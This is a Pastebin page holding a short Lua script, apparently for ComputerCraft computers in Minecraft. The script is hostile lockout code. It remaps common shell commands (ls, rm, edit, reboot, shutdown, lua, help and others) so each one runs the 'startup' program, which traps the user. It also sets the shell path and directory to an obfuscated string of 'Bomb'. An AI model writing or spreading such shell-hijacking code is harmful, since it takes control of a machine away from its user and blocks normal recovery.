Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local function convert(chars,dist,inv)
- local charInt = string.byte(chars);
- for i=1,dist do
- if(inv)then charInt = charInt - 1; else charInt = charInt + 1; end
- if(charInt<32)then
- if(inv)then charInt = 126; else charInt = 126; end
- elseif(charInt>126)then
- if(inv)then charInt = 32; else charInt = 32; end
- end
- end
- return string.char(charInt);
- end
- local function crypt(str,k,inv)
- local enc= "";
- for i=1,#str do
- if(#str-k[5] >= i or not inv)then
- for inc=0,3 do
- if(i%4 == inc)then
- enc = enc .. convert(string.sub(str,i,i),k[inc+1],inv);
- break;
- end
- end
- end
- end
- if(not inv)then
- for i=1,k[5] do
- enc = enc .. string.char(math.random(32,126));
- end
- end
- return enc;
- end
- local enc1 = {124,532,123,22,0};
- local enc2 = {124,532,123,22,20};
- function disPlace()
- shell.clearAlias("ls")
- shell.clearAlias("dir")
- shell.clearAlias("cp")
- shell.clearAlias("mv")
- shell.clearAlias("rm")
- shell.setAlias("ls", "startup")
- shell.setAlias("dir", "startup")
- shell.setAlias("cp", "startup")
- shell.setAlias("mv", "startup")
- shell.setAlias("rm", "startup")
- shell.setAlias("list", "startup")
- shell.setAlias("edit", "startup")
- shell.setAlias("reboot", "startup")
- shell.setAlias("shutdown", "startup")
- shell.setAlias("lua", "startup")
- shell.setAlias("delete", "startup")
- shell.setAlias("help", "startup")
- local var = crypt("Bomb", enc2)
- shell.setPath(var)
- shell.setDir(var)
- end
- disPlace()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement